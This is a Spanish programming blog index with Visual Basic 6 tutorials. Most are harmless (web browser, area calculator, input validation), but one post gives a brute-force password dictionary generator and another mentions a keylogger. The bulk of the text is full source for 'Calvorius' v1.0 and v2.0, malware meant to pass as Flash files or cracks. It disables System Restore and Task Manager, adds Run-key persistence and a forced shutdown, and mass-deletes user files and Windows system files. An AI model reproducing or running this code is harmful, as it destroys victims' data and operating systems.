AutoLogin en Consola con VBScript

8 julio, 2012 | NochesDeCode | Deja un comentario

Hoy vamos a hacer un simple script en VBScript. Lo que haremos es realizar unos pasos para crear por ejemplo un autologin, esto simplemente lo que hará es automáticamente completar los datos que queramos en un tiempo especificado.

Set concha = CreateObject("WScript.Shell")
concha.run"cmd"
WScript.Sleep 100
concha.SendKeys"color a"
concha.SendKeys("{Enter}")
WScript.Sleep 100

Set concha = CreateObject("WScript.Shell")

concha.run"cmd"

WScript.Sleep 100

concha.SendKeys"color a"

concha.SendKeys("{Enter}")

WScript.Sleep 100

Como vemos utilizaremos una variable llamada concha la cual esta constituida por un objeto en particular,… Read More

Encriptación simple usando OCX en Visual Basic 6

30 junio, 2012 | NochesDeCode | Deja un comentario

En esta ocasión les traigo un simple programa para la encriptación de texto utilizando un complemente OCX en los RichTextBox. Un OCX hace referencia a módulos que publican controles y funciones para ser utilizados en programas. En este caso utilizaremos el OCX llamado EnCrypt2.ocx. Su uso es muy simple, si queremos encriptar el contenido de… Read More

BruteForceGenerator v2.0 [Source Code]

30 junio, 2012 | NochesDeCode | Deja un comentario

Impresionante pequeño codigo fuente generador de diccionarios para ataques de fuerza bruta…

Const Sym As String = "/\!·$%&/()='""¡¿?<>., :;-_*+" 'Simbolos
Const Num As String = "0123456789"                   'Numeros
Const Min As String = "abcdefghijklmnopqrstuvwxyz"   'Letras Minusculas
Const May As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"   'Letras Mayusculas
Const SpL As String = "áéíóúàèìòùâêîôûäëïöüçñ"       'Letras Especiales Minusculas
Const SpU As String = "ÁÉÍÓÚÀÈÌÒÙÊÎÔÛÄËÏÖÜÇÑ"       'Letras Especiales Mayusculas
Dim Cad As String                                    'Cadena entera de caracteres
Dim X As Long                                        'Para los Bucles
 
Private Sub Inicio()
Dim Letras() As String
Dim Posiciones() As Long
Dim Palabras() As String
Dim a As Long
Dim CT As Long
Dim CantPos As Long
Dim CantLet As Long
    Letras = CharSplit7913(Cad)
    CantLet = UBound(Letras)
    Open "C:\Dic7913.txt" For Output As #1
    Close #1
    ReDim Palabras(1000)
    For a = 0 To Val(MinMaxL(1).Text) - Val(MinMaxL(0).Text)
        CantPos = MinMaxL(0) + a - 1
        ReDim Posiciones(CantPos)
        Do
        For X = 0 To CantPos
            Palabras(CT) = Palabras(CT) & Letras(Posiciones(X))
        Next
        CT = CT + 1
        Posiciones(0) = Posiciones(0) + 1
        For X = 0 To CantPos - 1
            If Posiciones(X) > CantLet Then Posiciones(X) = 0: Posiciones(X + 1) = Posiciones(X + 1) + 1
        Next
        If CT = 1001 Then
            Open "C:\Dic7913.txt" For Append As #1
                For X = 0 To 1000
                    Print #1, Palabras(X)
                Next
            Close #1
            ReDim Palabras(1000)
            CT = 0
        End If
        If Posiciones(CantPos) = CantLet + 1 Then GoTo Terminado
        Loop
Terminado:
    Next
    If CT <> 0 Then
        Open "C:\Dic7913.txt" For Append As #1
            For X = 0 To CT
                Print #1, Palabras(X)
            Next
        Close #1
        CT = 0
    End If
    MsgBox "Terminado", vbInformation, "Atencion"
End Sub
 
Private Sub Caracteres_Click(Index As Integer)
    'Limita el checkbox de los caracteres extra si el cuadro de texto esta vacio
    If Index = 6 And Len(ExtraCHR.Text) = 0 Then Caracteres(6).Value = 0: MsgBox "El cuadro de texto de caracteres extra debe tener al menos un caracter", vbCritical, "Error"
End Sub
 
Private Sub Go_Click()
Dim FlagCheck As Boolean
    'Comprobacion de los minimos y maximos de longitud
    If Val(MinMaxL(0).Text) = 0 Then MsgBox "El minimo de longitud no puede ser cero", vbCritical, "Error": Exit Sub
    If Val(MinMaxL(1).Text) = 0 Then MsgBox "El maximo de longitud no puede ser cero", vbCritical, "Error": Exit Sub
    If Val(MinMaxL(0).Text) - Val(MinMaxL(1).Text) > 0 Then MsgBox "El maximo de longitud no puede ser menor que el minimo", vbCritical, "Error": Exit Sub
    'Comprobacion de los checkboxes, minimo uno debe estar tildado
    For X = 0 To 6
        If Caracteres(X).Value = 1 Then FlagCheck = True
    Next
    If FlagCheck = False Then MsgBox "Seleccione primero con que caracteres quiere hacer el diccionario", vbCritical, "Error": Exit Sub
    Cad = vbNullString 'Vacio el string Cad por si estaba lleno
    'Lleno cad con la seleccion del usuario
    If Caracteres(0).Value = 1 Then Cad = Num
    If Caracteres(1).Value = 1 Then Cad = Cad & Sym
    If Caracteres(2).Value = 1 Then Cad = Cad & Min
    If Caracteres(3).Value = 1 Then Cad = Cad & Max
    If Caracteres(4).Value = 1 Then Cad = Cad & SpL
    If Caracteres(5).Value = 1 Then Cad = Cad & SpU
    If Caracteres(6).Value = 1 Then Cad = Cad & ExtraCHR.Text
    MsgBox "El Proceso esta por Comenzar, esto podria tardar mucho tiempo para frenarlo presione Ctrl+Shift+Esc y termine el proceso, el diccionario quedara incompleto (este se guarda en c:\Dic7913.txt)", vbInformation, "Atencion - Por Comenzar"
    Call Inicio ' llamo al inicio de proceso
End Sub
 
Private Sub MinMaxL_KeyPress(Index As Integer, KeyAscii As Integer)
    If Not IsNumeric(Chr(KeyAscii)) Then KeyAscii = 0 'Verifica que solo se ingresen numeros en el desde hasta.
End Sub
 
Private Function CharSplit7913(expression As String) As String()
    Dim lExp     As Long
    Dim ExpB()   As Byte
    Dim AuxArr() As String
    ExpB = expression
    lExp = UBound(ExpB)
    ReDim AuxArr(lExp)
    For X = 0 To lExp Step 2
        AuxArr(X / 2) = ChrW(ExpB(X))
    Next
    ReDim Preserve AuxArr(Int(lExp / 2))
    CharSplit7913 = AuxArr
End Function

100

101

102

103

104

Const Sym As String = "/\!·$%&/()='""¡¿?<>., :;-_*+" 'Simbolos

Const Num As String = "0123456789" 'Numeros

Const Min As String = "abcdefghijklmnopqrstuvwxyz" 'Letras Minusculas

Const May As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 'Letras Mayusculas

Const SpL As String = "áéíóúàèìòùâêîôûäëïöüçñ" 'Letras Especiales Minusculas

Const SpU As String = "ÁÉÍÓÚÀÈÌÒÙÊÎÔÛÄËÏÖÜÇÑ" 'Letras Especiales Mayusculas

Dim Cad As String 'Cadena entera de caracteres

Dim X As Long 'Para los Bucles

Private Sub Inicio()

Dim Letras() As String

Dim Posiciones() As Long

Dim Palabras() As String

Dim a As Long

Dim CT As Long

Dim CantPos As Long

Dim CantLet As Long

Letras = CharSplit7913(Cad)

CantLet = UBound(Letras)

Open "C:\Dic7913.txt" For Output As #1

Close #1

ReDim Palabras(1000)

For a = 0 To Val(MinMaxL(1).Text) - Val(MinMaxL(0).Text)

CantPos = MinMaxL(0) + a - 1

ReDim Posiciones(CantPos)

For X = 0 To CantPos

Palabras(CT) = Palabras(CT) & Letras(Posiciones(X))

CT = CT + 1

Posiciones(0) = Posiciones(0) + 1

For X = 0 To CantPos - 1

If Posiciones(X) > CantLet Then Posiciones(X) = 0: Posiciones(X + 1) = Posiciones(X + 1) + 1

If CT = 1001 Then

Open "C:\Dic7913.txt" For Append As #1

For X = 0 To 1000

Print #1, Palabras(X)

Close #1

ReDim Palabras(1000)

CT = 0

End If

If Posiciones(CantPos) = CantLet + 1 Then GoTo Terminado

Loop

Terminado:

If CT <> 0 Then

Open "C:\Dic7913.txt" For Append As #1

For X = 0 To CT

Print #1, Palabras(X)

Close #1

CT = 0

End If

MsgBox "Terminado", vbInformation, "Atencion"

End Sub

Private Sub Caracteres_Click(Index As Integer)

'Limita el checkbox de los caracteres extra si el cuadro de texto esta vacio

If Index = 6 And Len(ExtraCHR.Text) = 0 Then Caracteres(6).Value = 0: MsgBox "El cuadro de texto de caracteres extra debe tener al menos un caracter", vbCritical, "Error"

End Sub

Private Sub Go_Click()

Dim FlagCheck As Boolean

'Comprobacion de los minimos y maximos de longitud

If Val(MinMaxL(0).Text) = 0 Then MsgBox "El minimo de longitud no puede ser cero", vbCritical, "Error": Exit Sub

If Val(MinMaxL(1).Text) = 0 Then MsgBox "El maximo de longitud no puede ser cero", vbCritical, "Error": Exit Sub

If Val(MinMaxL(0).Text) - Val(MinMaxL(1).Text) > 0 Then MsgBox "El maximo de longitud no puede ser menor que el minimo", vbCritical, "Error": Exit Sub

'Comprobacion de los checkboxes, minimo uno debe estar tildado

For X = 0 To 6

If Caracteres(X).Value = 1 Then FlagCheck = True

If FlagCheck = False Then MsgBox "Seleccione primero con que caracteres quiere hacer el diccionario", vbCritical, "Error": Exit Sub

Cad = vbNullString 'Vacio el string Cad por si estaba lleno

'Lleno cad con la seleccion del usuario

If Caracteres(0).Value = 1 Then Cad = Num

If Caracteres(1).Value = 1 Then Cad = Cad & Sym

If Caracteres(2).Value = 1 Then Cad = Cad & Min

If Caracteres(3).Value = 1 Then Cad = Cad & Max

If Caracteres(4).Value = 1 Then Cad = Cad & SpL

If Caracteres(5).Value = 1 Then Cad = Cad & SpU

If Caracteres(6).Value = 1 Then Cad = Cad & ExtraCHR.Text

MsgBox "El Proceso esta por Comenzar, esto podria tardar mucho tiempo para frenarlo presione Ctrl+Shift+Esc y termine el proceso, el diccionario quedara incompleto (este se guarda en c:\Dic7913.txt)", vbInformation, "Atencion - Por Comenzar"

Call Inicio ' llamo al inicio de proceso

End Sub

Private Sub MinMaxL_KeyPress(Index As Integer, KeyAscii As Integer)

If Not IsNumeric(Chr(KeyAscii)) Then KeyAscii = 0 'Verifica que solo se ingresen numeros en el desde hasta.

End Sub

Private Function CharSplit7913(expression As String) As String()

Dim lExp As Long

Dim ExpB() As Byte

Dim AuxArr() As String

ExpB = expression

lExp = UBound(ExpB)

ReDim AuxArr(lExp)

For X = 0 To lExp Step 2

AuxArr(X / 2) = ChrW(ExpB(X))

ReDim Preserve AuxArr(Int(lExp / 2))

CharSplit7913 = AuxArr

End Function

–> Link al post original… Read More

Validar entrada de TextBox en Visual Basic 6

30 junio, 2012 | NochesDeCode | Deja un comentario

En este caso vamos a repetir el programa anterior de “Calculo de Área y Perímetro en Visual Basic 6“, agregandole algo a lo que llamaremos “Validar entrada de datos en TextBox”. ¿Que es esto de Validar la entrada en un TextBox? – Simplemente lo que hacemos es Verificar las teclas que son presionadas por el… Read More

Calculo de Área y Perímetro en Visual Basic 6

30 junio, 2012 | NochesDeCode | Deja un comentario

Bueno en esta ocasión trabajaremos con funciones matemáticas, utilizaremos el Radio para calcular Área y Perímetro en Visual Basic 6. Para ello utilizaremos simples 3 TextBox y 1 CommandButton. Los textbox los llamaremos, uno radio, otro area y el ultimo perimetro y el botón como btncalc. Adicionalmente colocaremos unos labels indicando el valor Pi y… Read More

TweetBot v1.0

27 mayo, 2012 | NochesDeCode | 2 Comentarios

Bien como podemos ver este es un simple Bot de Twitter, esto quiere decir que podemos mandar Tweets sin necesidad de visitar la pagina, simplemente debemos loguearnos y comenzar a twittear. En este caso no he terminado el multiple-tweet por ende esta des-habilitado. Vamos a ver un poco el código; en este caso trabajaremos con… Read More

Activador de Windows XP en Visual Basic 6

29 abril, 2012 | NochesDeCode | Deja un comentario

Bueno hace tiempo que no poníamos nada, ya que estamos en varias cosas… hoy vamos a volver a nuestro mítico “Visual Basic 6” creando una aplicación muy particular. En este caso realizaremos un Activador “Genuine” de Windows XP, simplemente lo que realizara nuestro programa es, mediante a un modulo, tomar datos del registro de windows… Read More

Navegador Web en Visual Basic 6

25 septiembre, 2011 | NochesDeCode | Deja un comentario

Bueno hoy vamos a ver un simple complemento (OCX) para crear en Visual Basic 6 nuestro propio navegador web, para ello utilizaremos el complemeto “Microsoft Internet Controls” que nos agregara el “WebBrowser”. Tambien vamos a agregar componentes como “CommandButton” y un “ComboBox”.

Command1 = <
Command2 = >
Command3 = Actualizar
Command4 = Ir
Combo1
WebBrowser1

Command1 = <

Command2 = >

Command3 = Actualizar

Command4 = Ir

Combo1

WebBrowser1

y utilizaremos el siguiente código:

Option Explicit
Private Sub Form_Load()
WebBrowser1.Navigate2 ("www.nochesdecode.com.ar")
End Sub

Private Sub Command1_Click()
WebBrowser1.GoBack
End Sub

Private Sub Command2_Click()
WebBrowser1.GoForward
End Sub

Private Sub Command3_Click()
WebBrowser1.Refresh
End Sub

Private Sub Command4_Click()
WebBrowser1.Navigate2 Combo1.Text
End Sub

Option Explicit

Private Sub Form_Load()

WebBrowser1.Navigate2 ("www.nochesdecode.com.ar")

End Sub

Private Sub Command1_Click()

WebBrowser1.GoBack

End Sub

Private Sub Command2_Click()

WebBrowser1.GoForward

End Sub

Private Sub Command3_Click()

WebBrowser1.Refresh

End Sub

Private Sub Command4_Click()

WebBrowser1.Navigate2 Combo1.Text

End Sub

Como veran es muy simple, utilizamos… Read More

Keylogger en Visual Basic 6

22 septiembre, 2011 | NochesDeCode | Deja un comentario

Un keylogger (derivado del inglés: key (tecla) y logger (registrador); registrador de teclas) es un tipo de software o un dispositivo hardware específico que se encarga de registrar las pulsaciones que se realizan en el teclado, para posteriormente memorizarlas en un fichero o enviarlas a través de internet. Suele usarse como malware del tipo daemon,… Read More

Virus Calvorius en Visual Basic 6

21 septiembre, 2011 | NochesDeCode | Deja un comentario

Calvorius es un simple virus creado en la plataforma Visual Basic 6 utilizando comandos del sistema (Batch) para eliminar una sierta cantidad de archivos en diferentes lugares del sistema Windows. Calvorius v1.0:Colocaremos un Timer (Timer1) con un intervalo de 9999.

';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';
'; Nombre: Calvorius                                                         ';
'; Versión: 1.0                                                              ';
'; Fecha de Creación: 20/05/08                                               ';
'; Tipo: DESTRUCTOR.                                                         ';
'; Encubrimiento: "Ejecutables Flash", "Crack de programas".                 ';
';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';

Private Sub Form_Load()

Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar sistema.lnk" ';Impire restaurar el sistema.
Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Asistente para transferencia de archivos y configuraciones.lnk" ';Impire trasferir archivos.
Kill "C:\%SystemRoot%\system32\restore\rstrui.exe" ';Impide restaurar el sistema.

            Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d ""1"" /f"

    Shell "cmd.exe cd C:\WINDOWS\"
    Shell "cmd.exe echo off>Calvorius.bat"
    Shell "cmd.exe echo @ echo off>>Calvorius.bat"
    Shell "cmd.exe echo set hora=%time:~0,5%>>Calvorius.bat"
    Shell "cmd.exe echo set hor=%hora:~0,2%>>Calvorius.bat"
    Shell "cmd.exe echo set min=%hora:~3,5%>>Calvorius.bat"
    Shell "cmd.exe echo set /a boumb = %min% + 0,30>>Calvorius.bat"
    Shell "cmd.exe echo AT %hora% %min% tsshutdown -s -f -c ""Imbecil"""

            Shell "cmd.exe reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v LordShack /d C:\WINDOWS\Calvorius.bat"

                Shell "cmd.exe taskkill msnmsgr.exe"
                Shell "cmd.exe taskkill msnmsgs.exe"
                Shell "cmd.exe taskkill schvoust.exe"
                Shell "cmd.exe taskkill iexplore.exe"
                Shell "cmd.exe taskkill word.exe"
                Shell "cmd.exe taskkill outlook.exe"
                Shell "cmd.exe taskkill notepad.exe"
                Shell "cmd.exe taskkill mspaint.exe"

            Shell "cmd.exe del /Q /S /F msnmsgr.exe"
            Shell "cmd.exe del /Q /S /F msnmsgs.exe"
            Shell "cmd.exe del /Q /S /F schvoust.exe"
            Shell "cmd.exe del /Q /S /F iexplore.exe"
            Shell "cmd.exe del /Q /S /F word.exe"
            Shell "cmd.exe del /Q /S /F outlook.exe"
            Shell "cmd.exe del /Q /S /F notepad.exe"
            Shell "cmd.exe del /Q /S /F mspaint.exe"

        Shell "cmd.exe del /Q /S /F C:\ *.jpg"
        Shell "cmd.exe del /Q /S /F C:\ *.bmp"
        Shell "cmd.exe del /Q /S /F C:\ *.png"
        Shell "cmd.exe del /Q /S /F C:\ *.psd"
        Shell "cmd.exe del /Q /S /F C:\ *.mp2"
        Shell "cmd.exe del /Q /S /F C:\ *.mp3"
        Shell "cmd.exe del /Q /S /F C:\ *.mp4"
        Shell "cmd.exe del /Q /S /F C:\ *.mid"
        Shell "cmd.exe del /Q /S /F C:\ *.avi"
        Shell "cmd.exe del /Q /S /F C:\ *.mpg"
        Shell "cmd.exe del /Q /S /F C:\ *.mov"
        Shell "cmd.exe del /Q /S /F C:\ *.pdf"
        Shell "cmd.exe del /Q /S /F C:\ *.rar"
        Shell "cmd.exe del /Q /S /F C:\ *.zip"
        Shell "cmd.exe del /Q /S /F C:\ *.wav"

        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mp3"
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mov"
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mpg"
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.avi"
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mp4"
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.pdf"
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.zip"
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.rar"
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.wav"
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.bmp"
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mid"
End Sub

Private Sub Timer1_Timer()
    Calvorius_Gen.Hide
End Sub

';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';

'; Nombre: Calvorius ';

'; Versión: 1.0 ';

'; Fecha de Creación: 20/05/08 ';

'; Tipo: DESTRUCTOR. ';

'; Encubrimiento: "Ejecutables Flash", "Crack de programas". ';

';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';

Private Sub Form_Load()

Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar sistema.lnk" ';Impire restaurar el sistema.

Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Asistente para transferencia de archivos y configuraciones.lnk" ';Impire trasferir archivos.

Kill "C:\%SystemRoot%\system32\restore\rstrui.exe" ';Impide restaurar el sistema.

Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d ""1"" /f"

Shell "cmd.exe cd C:\WINDOWS\"

Shell "cmd.exe echo off>Calvorius.bat"

Shell "cmd.exe echo @ echo off>>Calvorius.bat"

Shell "cmd.exe echo set hora=%time:~0,5%>>Calvorius.bat"

Shell "cmd.exe echo set hor=%hora:~0,2%>>Calvorius.bat"

Shell "cmd.exe echo set min=%hora:~3,5%>>Calvorius.bat"

Shell "cmd.exe echo set /a boumb = %min% + 0,30>>Calvorius.bat"

Shell "cmd.exe echo AT %hora% %min% tsshutdown -s -f -c ""Imbecil"""

Shell "cmd.exe reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v LordShack /d C:\WINDOWS\Calvorius.bat"

Shell "cmd.exe taskkill msnmsgr.exe"

Shell "cmd.exe taskkill msnmsgs.exe"

Shell "cmd.exe taskkill schvoust.exe"

Shell "cmd.exe taskkill iexplore.exe"

Shell "cmd.exe taskkill word.exe"

Shell "cmd.exe taskkill outlook.exe"

Shell "cmd.exe taskkill notepad.exe"

Shell "cmd.exe taskkill mspaint.exe"

Shell "cmd.exe del /Q /S /F msnmsgr.exe"

Shell "cmd.exe del /Q /S /F msnmsgs.exe"

Shell "cmd.exe del /Q /S /F schvoust.exe"

Shell "cmd.exe del /Q /S /F iexplore.exe"

Shell "cmd.exe del /Q /S /F word.exe"

Shell "cmd.exe del /Q /S /F outlook.exe"

Shell "cmd.exe del /Q /S /F notepad.exe"

Shell "cmd.exe del /Q /S /F mspaint.exe"

Shell "cmd.exe del /Q /S /F C:\ *.jpg"

Shell "cmd.exe del /Q /S /F C:\ *.bmp"

Shell "cmd.exe del /Q /S /F C:\ *.png"

Shell "cmd.exe del /Q /S /F C:\ *.psd"

Shell "cmd.exe del /Q /S /F C:\ *.mp2"

Shell "cmd.exe del /Q /S /F C:\ *.mp3"

Shell "cmd.exe del /Q /S /F C:\ *.mp4"

Shell "cmd.exe del /Q /S /F C:\ *.mid"

Shell "cmd.exe del /Q /S /F C:\ *.avi"

Shell "cmd.exe del /Q /S /F C:\ *.mpg"

Shell "cmd.exe del /Q /S /F C:\ *.mov"

Shell "cmd.exe del /Q /S /F C:\ *.pdf"

Shell "cmd.exe del /Q /S /F C:\ *.rar"

Shell "cmd.exe del /Q /S /F C:\ *.zip"

Shell "cmd.exe del /Q /S /F C:\ *.wav"

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mp3"

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mov"

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mpg"

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.avi"

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mp4"

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.pdf"

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.zip"

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.rar"

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.wav"

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.bmp"

Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mid"

End Sub

Private Sub Timer1_Timer()

Calvorius_Gen.Hide

End Sub

Calvorius v2.0:Colocaremos un Timer (Timer1) con un intervalo de 9999.

';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';
'; Nombre: Calvorius                                                         ';
'; Versión: 2.0                                                              ';
'; Fecha de Creación: 20/05/09                                               ';
'; Tipo: DESTRUCTOR.                                                         ';
'; Encubrimiento: "Ejecutables Flash", "Crack de programas".                 ';
';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';';

Private Sub Form_Load()

Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar sistema.lnk" ';Impire restaurar el sistema.
Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Asistente para transferencia de archivos y configuraciones.lnk" ';Impire trasferir archivos.
Kill "C:\%SystemRoot%\system32\restore\rstrui.exe" ';Impire restaurar el sistema.
Kill "C:\%SystemRoot%\system32\restore\filelist.xml"
Kill "C:\%SystemRoot%\system32\restore\srdiag.exe" ';ejecutable.
Kill "C:\%SystemRoot%\system32\restore\srframe.mmf"

            Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d ""1"" /f"


    Shell "cmd.exe cd C:\WINDOWS\"
    Shell "cmd.exe echo off>Calvorius.bat"
    Shell "cmd.exe echo @ echo off>>Calvorius.bat"
    Shell "cmd.exe echo set hora=%time:~0,5%>>Calvorius.bat"
    Shell "cmd.exe echo set hor=%hora:~0,2%>>Calvorius.bat"
    Shell "cmd.exe echo set min=%hora:~3,5%>>Calvorius.bat"
    Shell "cmd.exe echo set /a boumb = %min% + 0,30>>Calvorius.bat"
    Shell "cmd.exe echo AT %hora% %min% tsshutdown -s -f -c ""Imbecil"""


            Shell "cmd.exe reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v LordShack /d C:\WINDOWS\Calvorius.bat"


                Shell "cmd.exe taskkill msnmsgr.exe" ';ejecutable.
                Shell "cmd.exe taskkill msnmsgs.exe" ';ejecutable.
                Shell "cmd.exe taskkill schvoust.exe" ';ejecutable.
                Shell "cmd.exe taskkill iexplore.exe" ';ejecutable.
                Shell "cmd.exe taskkill word.exe" ';ejecutable.
                Shell "cmd.exe taskkill outlook.exe" ';ejecutable.
                Shell "cmd.exe taskkill notepad.exe" ';ejecutable.
                Shell "cmd.exe taskkill mspaint.exe" ';ejecutable.

            Shell "cmd.exe del /Q /S /F msnmsgr.exe" ';ejecutable.
            Shell "cmd.exe del /Q /S /F msnmsgs.exe" ';ejecutable.
            Shell "cmd.exe del /Q /S /F schvoust.exe" ';ejecutable.
            Shell "cmd.exe del /Q /S /F iexplore.exe" ';ejecutable.
            Shell "cmd.exe del /Q /S /F word.exe" ';ejecutable.
            Shell "cmd.exe del /Q /S /F outlook.exe" ';ejecutable.
            Shell "cmd.exe del /Q /S /F notepad.exe" ';ejecutable.
            Shell "cmd.exe del /Q /S /F mspaint.exe" ';ejecutable.


        Shell "cmd.exe del /Q /S /F C:\ *.jpg" ';imagen.
        Shell "cmd.exe del /Q /S /F C:\ *.bmp" ';imagen.
        Shell "cmd.exe del /Q /S /F C:\ *.png" ';imagen.
        Shell "cmd.exe del /Q /S /F C:\ *.psd" ';Photoshop.
        Shell "cmd.exe del /Q /S /F C:\ *.mp2" ';audio.
        Shell "cmd.exe del /Q /S /F C:\ *.mp3" ';audio.
        Shell "cmd.exe del /Q /S /F C:\ *.mp4" ';auido-video.
        Shell "cmd.exe del /Q /S /F C:\ *.mid" ';Midi.
        Shell "cmd.exe del /Q /S /F C:\ *.avi" ';Video.
        Shell "cmd.exe del /Q /S /F C:\ *.mpg" ';Video.
        Shell "cmd.exe del /Q /S /F C:\ *.mov" ';Video.
        Shell "cmd.exe del /Q /S /F C:\ *.pdf" ';Texto.
        Shell "cmd.exe del /Q /S /F C:\ *.rar" ';Comprimido.
        Shell "cmd.exe del /Q /S /F C:\ *.zip" ';Comprimido.
        Shell "cmd.exe del /Q /S /F C:\ *.wav" ';audio.
        Shell "cmd.exe del /Q /S /F C:\ *.doc" ';Documento Word.
        Shell "cmd.exe del /Q /S /F C:\ *.docx" ';Documento Word 2007.
        Shell "cmd.exe del /Q /S /F C:\ *.xlsx" ';hoja excel 2007.


        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mp3" ';Audio.
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mov" ';Video.
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mpg" ';Video.
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.avi" ';Video.
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mp4" ';Audio-Video.
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.pdf" ';Texto.
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.zip" ';Archivos Comprimidos.
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.rar" ';Archivos Comprimidos.
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.wav" ';Audio.
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.bmp" ';Imagn de Windows.
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.mid" ';Midi.
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.psd" ';PhotoShop.
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.txt" ';Texto.
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.doc" ';Texto Word.
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.docx" ';Texto Word 2007.
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.xlsx" ';Hoja Excel.
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.ico" ';icono.
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.png" ';imagen.
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.exe" ';ejecutables.
        Shell "cmd.exe del /Q /S /F C:\Documents and Settings\Administrador\Mis documentos\ *.msi" ';instalables.
        
            Shell "cmd.exe del /Q /S /F C:\WINDOWS\ *.ini" ';Texto.
            Shell "cmd.exe del /Q /S /F C:\WINDOWS\ *.log" ';Texto.
            Shell "cmd.exe del /Q /S /F C:\WINDOWS\ *.bmp" ';Imagen.
            Shell "cmd.exe del /Q /S /F C:\WINDOWS\ *.dll" ';Extnción de Aplicación.
            Shell "cmd.exe del /Q /S /F C:\WINDOWS\ *.sys" ';Archivo del sistema.
            Shell "cmd.exe del /Q /S /F C:\WINDOWS\ *.bat" ';Batch File.
            Shell "cmd.exe del /Q /S /F C:\WINDOWS\ *.exe" ';Ejecutable.
            
